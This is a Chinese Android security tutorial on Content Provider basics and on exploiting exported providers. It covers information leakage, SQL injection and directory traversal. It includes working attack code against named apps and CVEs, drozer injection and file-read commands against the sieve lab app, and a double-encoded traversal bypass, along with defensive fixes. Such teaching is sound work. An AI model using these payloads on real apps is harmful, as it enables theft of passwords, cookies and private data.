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Android APP漏洞之战(4)——Content Provider漏洞详解
2021-9-22 13:52 19130

Android APP漏洞之战(4)——Content Provider漏洞详解

2021-9-22 13:52
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Android APP漏洞之战(4)——Content Provider漏洞详解

目录

一、前言

今天总结Android APP四大组件中Content Provider挖掘的知识,主要分为两个部分,一部分是对Android Content Provider内容提供器的原理总结,另一部分便是对Android provider机制常见的一些漏洞总结,包括一些已知的漏洞方法,和一部分案例实践。

二、Content Provider初步介绍

1.Content Provider的基本原理

(1)Content Provider简介

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Android中的数据存储方式:Shared Preferences、网络存储、文件存储、外部存储、SQLite,这些存储方式一般在单独的应用程序中实现数据共享,对于不同应用之间共享数据,就要借助Content Provider。
ContentProvider为存储和读取数据提供了统一的接口,使用表的形式来对数据进行封装,使用ContentProvider可以在不同的应用程序之间共享数据,统一数据的访问方式,保证数据的安全性。

(2)Content Provider作用

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Content Provider可以使得不同APP进程之间进行数据交互和共享,即跨进程通信

(3)URI详解

我们创建一个Content Provider,其他的应用可以通过使用ContentResolver来访问ContentProvider提供的数据,而ContentResolver通过uri来定位自己要访问的数据,所以我们要先了解URI

URI:

URI的介绍:

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1)定义:Uniform Resource Identifier,即统一资源标识符
2)作用:唯一标识ContentProvider &其中的数据
3)外界进程通过URL找到对应的ContentProvider &其中数据,再进行数据操作

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1)标准前缀:content:// ,用来说明一个Content Provider控制这些数据
2)URL的标识:com.carson.provider, 用于唯一标识这个ContentProvider,外部调用者可以根据这个标识来找到它。对于第三方程序,为了保证URL标识的一致性,必须是一个完整的、小写的类名,这个标识在元素的authorities属性中说明,一般是定义该ContentProvider的包.类的名称
3)路径:User,要操作的数据库中表的名字,或者可以自己定义,记得在使用的时候保持一致
4)记录ID:id, 如果URL中包含表示需要获取的记录ID,则返回该id对应的数据,如果没有ID,就表示返回全部

构建URI的路径:

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1)操作User表中id11的记录,构建数据:/User/11
2)操作User表中id11的记录的name字段:User/11/name
3)操作User表中的所有记录:/User
4)操作来自文件、xml或网络其他存储方式的数据,如要操作xml文件中User节点下的name字段:/User/name
5)若要将一个字符串转换成URI,可以使用Uri类中的parse()方法:
    Uri uri = Uri.parse("content://com.carson.provider/User");

URI各部分的获取:

 

我们给出一个URI的样例:

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http://www.baidu.com:8080/wenku/jiatiao.html?id=123456&name=jack

我们介意使用一些方法来获取URI的各个部分:

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getScheme():获取 Uri 中的 scheme 字符串部分,在这里是 http
getHost():获取 Authority 中的 Host 字符串,即 www.baidu.com
getPost():获取 Authority 中的 Port 字符串,即 8080
getPath():获取 Uri 中 path 部分,即 wenku/jiatiao.html
getQuery():获取 Uri 中的 query 部分,即 id=15&name=jack
MIME:

MIME是指定某个扩展名的文件用一种应用程序打开,就像用浏览器查看PDF格式的文件,浏览器会选择合适的应用打开。ContentProvider 会根据 URI 来返回 MIME 类型,ContentProvider 会返回一个包含两部分的字符串。MIME 类型一般包含两部分,如:

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text/html
text/css
text/xml
application/pdf

分为类型和子类型,Android 遵循类似的约定来定义MIME类型,每个内容类型的 Android MIME 类型有两种形式:多条记录(集合)和单条记录。

  • 集合记录(dir):
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vnd.android.cursor.dir/自定义
  • 单条记录(item):
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vnd.android.cursor.item/自定义

vnd 表示这些类型和子类型具有非标准的、供应商特定的形式。Android中类型已经固定好了,不能更改,只能区别是集合还是单条具体记录,子类型可以按照格式自己填写,在使用 Intent 时,会用到 MIME,根据 Mimetype 打开符合条件的活动。

URI解析:

这里URI代表要操作的数据,我们在对数据进行获取时需要解析URI,Android提供了两个操作URI的工具类:UriMatcher 和 ContentUris

 

UriMatcher:

 

UriMatcher类用于匹配Uri,使用步骤如下:

  • 将需要匹配的Uri路径进行注册:
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//常量UriMatcher.NO_MATCH表示不匹配任何路径的返回码
UriMatcher  sMatcher = new UriMatcher(UriMatcher.NO_MATCH);
//如果match()方法匹配“content://com.wang.provider.myprovider/tablename”路径,返回匹配码为1
sMatcher.addURI("content://com.wang.provider.myprovider", " tablename ", 1);
//如果match()方法匹配content://com.wang.provider.myprovider/tablename/11路径,返回匹配码为2
sMatcher.addURI("com.wang.provider.myprovider", "tablename/#", 2);

此处采用 addURI 注册了两个需要用到的 URI;注意,添加第二个 URI 时,路径后面的 id 采用了通配符形式 “#”,表示只要前面三个部分都匹配上了就 OK

 

补充:

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*:表示匹配任意长度的任意字符
#:表示匹配任意长度的数字
匹配任意表的内容URI格式:
content://com.example.app.provider/*
匹配table表中1任意一行数据的内容URI格式:
content://com.example.app.procider/table/#
  • 注册完需要匹配的 Uri 后,可以使用 sMatcher.match(Uri) 方法对输入的 Uri 进行匹配,如果匹配就返回对应的匹配码,匹配码为调用 addURI() 方法时传入的第三个参数
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switch (sMatcher.match(Uri.parse("content://com.zhang.provider.yourprovider/tablename/100"))) {
    case 1:
      //match 1, todo something
      break;
    case 2
      //match 2, todo something
      break;
    default:
      //match nothing, todo something
     break;
}

ContentUris:

 

ContentUris类用于操作Uri路径后面的ID部分,有两个比较实用的方法:withAppendedId(Uri uri, long id)和parseId(Uri uri)

  • withAppendedId(Uri uri, long id)用于为路径加上ID部分:
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Uri uri = Uri.parse("content://com.wang.provider.myprovider/tablename");
//生成的Uri为:content://com.wang.provider.myprovider/tablename/10
 Uri resultUri = ContentUris.withAppendedId(uri, 10);
  • parseId(Uri uri)则从路径中获取ID部分:
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Uri uri = Uri.parse("content://com.zhang.provider.myprovider/tablename/10")
//获取的结果为:7
long personid = ContentUris.parseId(uri);

(4)Content Provider数据共享

ContentProvider是一个抽象类,我们需要开发自己的内容提供者就需要继承这个类并复写其方法:

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ContentProvider 类主要方法的介绍:
public boolean onCreate(),在ContentProvider创建后就会被调用,而ContentProvider是在其它应用第一次访问它时被创建;
public Uri insert(Uri uri, ContentValues values),供外部应用向ContentProvider添加数据;
public int delete(Uri uri, String selection, String[] selectionArgs),供外部应用从ContentProvider删除数据;
public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs),供外部应用更新ContentProvider中的数据;
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder),供外部应用从ContentProvider中获取数据;
public String getType(Uri uri),返回当前Uri所代表数据的MIME类型;

如果操作的数据属于集合类型,那么 MIME 类型字符串应该以 vnd.android.cursor.dir/ 开头:

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要得到所有 tablename 记录: Uri 为 content://com.wang.provider.myprovider/tablename,那么返回的MIME类型字符串应该为vnd.android.cursor.dir/table

如果要操作的数据属于非集合类型数据,那么 MIME 类型字符串应该以 vnd.android.cursor.item/ 开头:

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要得到 id 10 的 tablename 记录,Uri 为 content://com.wang.provider.myprovider/tablename/10,那么返回的 MIME 类型字符串为:vnd.android.cursor.item/tablename

(5)Content Resolver操作数据

当外部应用需要对ContentProvider中的数据进行添加、删除、修改及查询操作时,可以使用ContentResolver类来完成,要获取ContentResolver对象,可以使用Activity提供getContentResolver()

 

ContentResolver类提供了与ContentProvider类相同签名的四个方法:

 

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public Uri insert(Uri uri, ContentValues values),往ContentProvider添加数据;
 
public int delete(Uri uri, String selection, String[] selectionArgs),从ContentProvider删除数据;
 
public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs),更新ContentProvider中的数据;
 
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder),从ContentProvider中获取数据;

这些方法的第一个参数为Uri,代表要操作的ContentProvider和对其中的什么数据进行操作,其实和ContentProvider里面的方法是一样的,最终会被传到我们之前程序里面定义的ContentProvider方法。

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假定给定的是:Uri.parse("content://com.wang.provider.myprovider/tablename/10"),
那么将会对主机名为com.wang.provider.myprovider的ContentProvider进行操作,操作的数据为tablename表中id10的记录

使用ContentResolver对ContentProvider中的数据进行操作:

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ContentResolver resolver = getContentResolver();
 Uri uri = Uri.parse("content://com.wang.provider.myprovider/tablename");
 //添加一条记录
 ContentValues values = new ContentValues();
 values.put("name", "wang1");
 values.put("age", 28);
 resolver.insert(uri, values);
 //获取tablename表中所有记录
 Cursor cursor = resolver.query(uri, null, null, null, "tablename data");
while(cursor.moveToNext()){
   Log.i("ContentTest", "tablename_id="+ cursor.getInt(0)+ ", name="+ cursor.getString(1));
}
//id1的记录的name字段值更改新为zhang1
ContentValues updateValues = new ContentValues();
updateValues.put("name", "zhang1");
Uri updateIdUri = ContentUris.withAppendedId(uri, 2);
resolver.update(updateIdUri, updateValues, null, null);
//删除id2的记录,即字段age
Uri deleteIdUri = ContentUris.withAppendedId(uri, 2);
resolver.delete(deleteIdUri, null, null);

监听数据变化:

 

如果ContentProvider的访问者需要知道数据发生的变化,可以在ContentProvider发生数据变化时调用getContentResolver().notifyChange(uri, null)来通知注册在此URI上的访问者。只给出类中监听部分的代码:

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public class MyProvider extends ContentProvider {
   public Uri insert(Uri uri, ContentValues values) {
     db.insert("tablename", "tablenameid", values);
      getContext().getContentResolver().notifyChange(uri, null);
   }
}

而访问者必须使用ContentObserver对数据(数据采用uri描述)进行监听,当监听到数据变化通知时,系统就会调用ContentObserver的onChange()方法:

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getContentResolver().registerContentObserver(Uri.parse("content://com.ljq.providers.personprovider/person"),
        true, new PersonObserver(new Handler()));
 public class PersonObserver extends ContentObserver{
     public PersonObserver(Handler handler) {
       super(handler);
     }
     public void onChange(boolean selfChange) {
        //to do something
     }
 }

(6)Content Provider使用

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创建内容提供者的基本流程:

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1)创建一个扩展ContentProviderbaseclass的 Content Provider 类
2)定义将用于访问内容的内容提供者 URI 地址
3)创建自己的数据库来保存内容。通常,Android 使用 SQLite 数据库,框架需要覆盖onCreate()方法,该方法将使用 SQLite Open Helper 方法创建或打开提供者的数据库。当您的应用程序启动时,其每个内容提供程序的onCreate()处理程序在主应用程序线程上被调用
4)实现内容提供者查询以执行不同的数据库特定操作
5)最后使用 <provider> 标签在您的活动文件中注册您的内容提供者

2.Content Provider漏洞的种类和危害

Content Provoder漏洞大致可以分为:

 

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Content Provider漏洞的危害:

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Android中Content Provider起到在不同的进程APP之间实现共享数据的作用,通过Binder进程间通信机制以及匿名共享内存机制来实现,但是考虑到数据的安全性,我们需要设置一定的保护权限。
Binder进程间通信机制突破了以应用程序为边界的权限控制,是安全可控的,数据的访问接口由数据的所有者来提供,数据提供方实现安全控制,决定数据的读写操作
而content Provider组件本身提供了读取权限控制,这导致在使用过程中就会存在一些漏洞

三、Content Provider漏洞原理分析和复现

1.漏洞挖掘方法

先检测组件的exported属性,再检测组件permission、readPermission、writePermissio对应的protectionlevel,最后再检测sdk版本

 

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(1)查找导出Provider

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1)反编译 apk 文件,在AndroidManifest.xml中查找显示设置了android:exported="true"Content Provider
2)使用drozer工具,执行命令:run app.provider.info -a ddns.android.vuls

(2)查找URI

  • 反编译apk文件,在代码中查找UriMatcher.addURI,并手动拼接uri

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如上,可以拼接出:

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content://ddns.vuls.AccountProvider/account
content://ddns.vuls.AccountProvider/account/
content://ddns.vuls.AccountProvider/account/1
content://ddns.vuls.AccountProvider/account/aaa
  • 使用drozer工具
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执行命令 run app.provider.finduri ddns.android.vuls

(3)方法使用

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1.使用adb shell查询
例子:adb shell content query --uri 具体uri
2.使用drozer验证
例子:run app.provider.query "具体uri"
3.编写目标代码
例如:
private void getyouni(){
    int i = 0;
    ContentResolver contentresolver=getContentResolver();
    String[] projection={"* from contacts--"};
    Uri uri =Uri.parse("content://com.snda.youni.providers.DataStructs/message_ex");
    Cursor cursor=contentresolver.query(uri.projection,null,null,null);
    String text="";
    while(cursor.moveToNext()){
        text+=cursor.getString(cursor.getColumnIndex("display_name"))+"\n";
    }
    Log.i("TEST",text);
}

我们下面将结合这三种方法来对一些常见的案例进行漏洞挖掘介绍

2.信息泄露漏洞

(1)原理介绍

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content URI是一个标志provider中的数据的URI。Content URI中包含了整个provider的以符号表示的名字(它的authority)和指向一个表的名字(一个路径)。当你调用一个客户端的方法来操作一个,provider中的一个表,指向表的contentURI是参数之一,如果对ContentProvider的权限没有做好控制,就有可能导致恶意的程序通过这种方式读取APP的敏感数据。

(2)漏洞复现

案例1:盛大有你Android存在信息泄露漏洞

 

目标代码:

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<provider android:name=".providers.YouNiProvider" android:process="com.snda.youni.mms" android:authorities="com.snda.youni.providers.DataStructs"/>

攻击代码:

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private void getyouni(){
    int i = 0;
    ContentResolver contentresolver=getContentResolver();
    String[] projection={"* from contacts--"};
    Uri uri =Uri.parse("content://com.snda.youni.providers.DataStructs/message_ex");
    Cursor cursor=contentresolver.query(uri.projection,null,null,null);
    String text="";
    while(cursor.moveToNext()){
        text+=cursor.getString(cursor.getColumnIndex("display_name"))+"\n";
    }
    Log.i("TEST",text);
}

代码分析:

 

我们可以分析目标程序的provider的进程名和授权的的URI,我们可以根据授权的URI来构建一个URI,然后通过contentresolver去读取里面的的列表名信息,这样我们就可以获取APP中的隐私数据信息。

 

案例2:样例sieve.apk

 

我们先向apk中添加一条数据,然后保存:

 

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我们先使用drozer对内容提供器的路径进行扫描:

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run scanner.provider.finduris -a <包名>

报错:drozer could not find or compile a required extension library

 

这是由于我们drozer2.7中代码导致的,我们需要修改相应的代码,参考网址(https://github.com/FSecureLABS/drozer/issues/361 )

 

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我们可以对敏感数据读取:

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run app.provider.query uri

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我们就成功的将我们刚才保存的账号密码信息给获取了

 

案例3:CVE-2018-9546: Download Provider文件头信息泄露

 

漏洞描述:

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Download Provider运行app获取下载的http请求头,但理论上APP只能访问自己下载的文件的http请求头,但Download Provider没有做好权限配置,导致heads可以被任意读取。header中会保存一些敏感数据,例如cookie等。

目标代码:

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读取header的URI为:content://download/mydownloads/download_id/headers

攻击代码:

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Uri uri = Uri.parse("content://download/mydownloads/1493/headers");
Cursor cur = res.query(uri, null, null, null, null);
 
try {
    if (cur != null && cur.getCount() > 0) {
        StringBuilder sb = new StringBuilder(LOG_SEPARATOR);
        sb.append("HEADERS FOR DOWNLOAD ID ").append(id).append("\n");
        while (cur.moveToNext()) {
            String rowHeader = cur.getString(cur.getColumnIndex("header"));
            String rowValue = cur.getString(cur.getColumnIndex("value"));
            sb.append(rowHeader).append(": ").append(rowValue).append("\n\n");
        }
        log(sb.toString());
    }
} finally {
    if (cur != null)
        cur.close();
}

由于header的URI并未做一些防护措施,我们可以将download_id取具体的值,然后来获取里面的具体信息

(3)安全防护

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1.minSdkVersion不低于9
2.不向外部app提供数据的私有content provider显示设置exported=”false”,避免组件暴露(编译api小于17时更应注意此点)
3.内部app通过content provid交换数据时,设置protectionLevel=”signature”验证签名
4.公开的content provider确保不存储敏感数据
 
针对权限保护绕过防御措施:
1.使用Context.checkCallingPermission()和Context.enforceCallingPermission()来确保调用者拥有相应的权限,防止串谋攻击(confused deputy)。
2.可以使用如下函数,获取应用的permission保护级别是否与系统中已定义的permission保护级别一致。如果不一致,则抛出异常。

3.SQL注入漏洞

(1)原理介绍

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对Content Provider进行增删改查操作时,程序没有对用户的输入进行过滤,未采用参数化查询的方式,可能会导致sql注入攻击。
所谓的SQL注入攻击指的是攻击者可以精心构造selection参数、projection参数以及其他有效的SQL语句组成部分,实现在未授权的情况下从Content Provider获取更多信息。应该避免使用SQLiteDatabase.rawQuery()进行查询,而应该使用编译好的参数化语句。使用预编译好的语句比如SQLiteStatement,不仅可以避免SQL注入,而且操作性能也大幅提高,因为其不用每次执行都进行解析。
另外一种方式是使用query(),insert(),update(),和delete()方法,因为这些函数也提供了参数化的语句。预编译的参数化语句,问号处可以插入或者使bindString()绑定值。从而避免SQL注入攻击。

(2)漏洞复现

案例1:安全管家客户端存在SQL注入攻击

 

漏洞说明:

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Android版安全管家客户端contentprovider uri配置不当,导致sql注入,使得任何应用可不需要root权限下,获得和修改数据库中数据。

Androidmanifest文件中定义的provider:

 

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使用drozer扫描客户端程序存在的contentProvider uri:

 

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搜索到对外暴露可访问的uri:

 

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newapp.db结构:

 

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查看新安装应用的包名:

 

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查看白名单:

 

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案例2:样本sieve

 

我们使用drozer扫描注入的位置:

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run scanner.provider.injection -a <包名>

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然后我们执行以下命令,发现返回了报错信息,接着构造sql获取敏感数据

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run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection " * from Key;--+"

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列出所有表信息:

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run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"

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获取具体表信息

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run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

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列出该app的表信息

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run scanner.provider.sqltables -a  com.mwr.example.sieve

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案例3:CVE-2018-9493: Download Provider SQL注入

 

漏洞分析:

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Download Provider中的以下columns是不允许被外部访问的,例如CookieData,但是利用SQL注入漏洞可以绕过这个限制。
projection参数存在注入漏洞,结合二分法可以爆出某些columns字段的内容。

目标代码:

 

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攻击代码:

 

详细可以参考该作者博客:(https://mabin004.github.io/2019/04/15/Android-Download-Provider%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/)

(3)安全防护

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1.实现健壮的服务端校验
2.使用参数化查询语句,比如SQLiteStatement
3.避免使用rawQuery()
4.过滤用户的输入

4.目录遍历漏洞

(1)原理介绍

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Android Content Provider存在文件目录遍历安全漏洞,该漏洞源于对外暴露Content Provider组件的应用,没有对Content Provider组件的访问进行权限控制和对访问的目标文件的Content Query Uri进行有效判断,攻击者利用该应用暴露的Content Provider的openFile()接口进行文件目录遍历以达到访问任意可读文件的目的

漏洞触发的前提条件:

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对外暴露的Content Provider组件实现了openFile()接口
没有对所访问的目标文件Uri进行有效判断,如没有过滤限制如“../”可实现任意可读文件的访问的Content Query Uri

(2)漏洞复现

案例1:赶集网Android客户端Content Provider组件任意文件读取漏洞

 

漏洞分析:

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赶集网客户端APP的实现中定义了一个可以访问本地文件的Content Provider组件,默认的android:exported="true",对应com.ganji.android.jobs.html5.LocalFileContentProvider,该Provider实现了openFile()接口,通过此接口可以访问内部存储app_webview目录下的数据,由于后台未能对目标文件地址进行有效判断,可以通过"../"实现目录跨越,实现对任意私有数据的访问(当然,也可以访问任意外部存储数据,只是我们更关心私有敏感数据)。

攻击代码:

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public void GJContentProviderFileOperations(){
    try{
        InputStream in = getContentResolver().openInputStream(Uri.parse("content://com.ganji.html5.localfile.1/webview/../../shared_prefs/userinfo.xml"));
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        byte[] buffer = new byte[1024];
        int n = in.read(buffer);
        while(n>0){
            out.write(buffer, 0, n);
            n = in.read(buffer);
            Toast.makeText(getBaseContext(), out.toString(), Toast.LENGTH_LONG).show();
        }
    }catch(Exception e){
        debugInfo(e.getMessage());
    }
}

案例2:样本sieve

 

我们检测文件遍历漏洞:

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run scanner.provider.traversal -a <包名>

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我们读取系统文件:

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run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts

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我们下载系统文件:

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run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db f:/home/database.db

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案例3:

 

目标代码:

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private static String IMAGE_DIRECTORY=localFile.getAbsolutePath();
public ParcelFileDescriptor openFile(Uri paramUri,String paramString);
throws FileNotFoundException{
    File file=new File(IMAGE_DIRECTORY,paramUri.getLastPathSegment());
    return ParcelFileDescriptor.open(file,ParcelFileDescriptor.MODE_READ_ONLY);
}

我们可以从目标代码中分析,这段代码使用android.net.Uri.getLastPathSegment()从paramUri中获取文件名,然后将其放置在预定义好的目录IMAGE_DIRECTORY中,如果该URL是encoded编码后的,那么将可能导致目录遍历漏洞

 

Android4.3开始,Uri.getLastPathSegment()内部实现调用Uri.getPathSegments()

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Uri.getPathSegments()部分代码片段: 
PathSegments getPathSegments(){
    if(pathSegments!=null){
        return pathSegments;
    }
    String path = getEncoded();
    if(path==null){
        return pathSegments = PathSegments.EMPTY;
    }
    PathSegmentsBuilder segmentBuilder=new PathSegmentsBuilder();
    int previous =0;
    int current;
    while((current=path.indexOf('/',previous))>-1){
        if(previous<current){
            String decodedSegment=decode(path.substring(previous,current));
            segmentBuilder.add(decodedSegment);
        }
        previous=current+1;
    }
    if(previous<path.length()){
        segmentBuilder.add(decode(path.substring(preyious)));
    }
    return pathSegments=segmentBuilder.build();
}

Uri.getPathSegments首先会通过getEncoded()获取一个路径,然后以”/“为分隔符将path分成片段,最后调用decode()方法解码

 

假如我们传递encoded编码后的url给getLastPathSegment(),编码后的分隔符就变成了%2F,绕过了内部的分割规则,那么返回的就可能不是真正想要的文件了。这是API设计方面的问题,直接导致了目录遍历漏洞

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public String getLastPathSegment(){
    List<String> segments=getPathSegments();
    int size=segments.size();
    if(size==0){
        return null;
    }
    return segments.get(size-1);
}

为了避免这种情况导致的目录遍历漏洞,开发者应该在传递给getLastPathSegment()之前解码,采用调用两次getLastPathSegment()方法的方式,第一次调用是为了解码,第二次调用期望得到正确的值这一部分大家可以详细参考博客:(https://tea9.xyz/post/758430476.html)

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private static String IMAGE_DIRECTORY=localFile.getAbsolutePath();
    public ParcelFileDescriptor openFile(Uri paramUri,String paramString) throws FileNotFoundException{
        File file=new File(IMAGE_DIRECTORY,Uri.parse(paramUri.getLastPathSegment()).getLastPathSegment());
        return ParcelFileDescriptor.open(file,ParcelFileDescriptor.MODE_READ_ONLY);
    }
 
这个编码后的URL: ..%2F..%2F..%2Fdata%2Fdata%2Fcom.example.android.app%2Fshared_prefs%2FExample.xml  
第一次调用getLastPathSegment(),会返回../../../data/data/com.example.android.app/shared_prefs/Example.xml。  
第二次调用getLastPathSegment()会返回Example.xml 
 
 
然而攻击者可以采用一种叫做"Double Encoding"的技术,使得第一次调用getLastPathSegment()后无法解码。
 
比如下面经过double encoded后的string就可以绕过上面这种防御
 
%252E%252E%252F%252E%252E%252F%252E%252E%252Fdata%252Fdata%252Fcom.example.android.app%252Fshared_prefs%252FExample.xml
 
第一次解码后: %2E%2E%2F%2E%2E%2F%2E%2E%2Fdata%2Fdata%2Fcom.example.android.app%2Fshared_prefs%2FExample.xml
 
第二次解码后: ../../../data/data/com.example.android.app/shared_prefs/Example.xml
仍会导致目录遍历。所以简单的解码后再传人也是不够的,仍然需要严格校验以确保path是期望的路径。

(3)安全防护

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1. 将不必要导出的Content Provider设置为不导出
2. 去除没有必要的openFile()接口
3. 过滤限制跨域访问,对访问的目标文件的路径进行有效判断
4. 设置权限来进行内部应用通过Content Provider的数据共享

四、实验总结

本文对Content Provider内容提供器的基本原理做了一个详细讲解,然后对Provider常见的一些漏洞情况作了分析,这里面一部分漏洞来自于漏洞平台,一部分来自于网上的博客收集总结,还提供了一个样例sieve.apk,初步的实现信息泄露、SQL注入、目录遍历漏洞的基本操作方式,也介绍了一般挖掘provider漏洞的基本方法,其中关于drozer的具体操作使用,大家可以参考之前的博客:Android漏洞挖掘三板斧——drozer+Inspeckage(Xposed)+MobSF,当然可能对于Provider中的漏洞介绍还不是很全面,其他的就请各位大佬指正了。

五、参考文献

Content Provider原理介绍

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https://www.cnblogs.com/tgyf/p/4696288.html
https://www.jianshu.com/p/5e13d1fec9c9
https://www.cnblogs.com/huansky/p/13785634.html
http://www.tutorialspoint.com/android/android_content_providers.htm

Content Provider漏洞挖掘

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https://tea9.xyz/post/758430476.html
https://ayesawyer.github.io/2019/08/21/Android-App%E5%B8%B8%E8%A7%81%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E/
https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-0156386
http://www.feidao.site/wordpress/?p=3295
http://www.hackdig.com/03/hack-19497.htm
https://mabin004.github.io/2019/04/15/Android-Download-Provider%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

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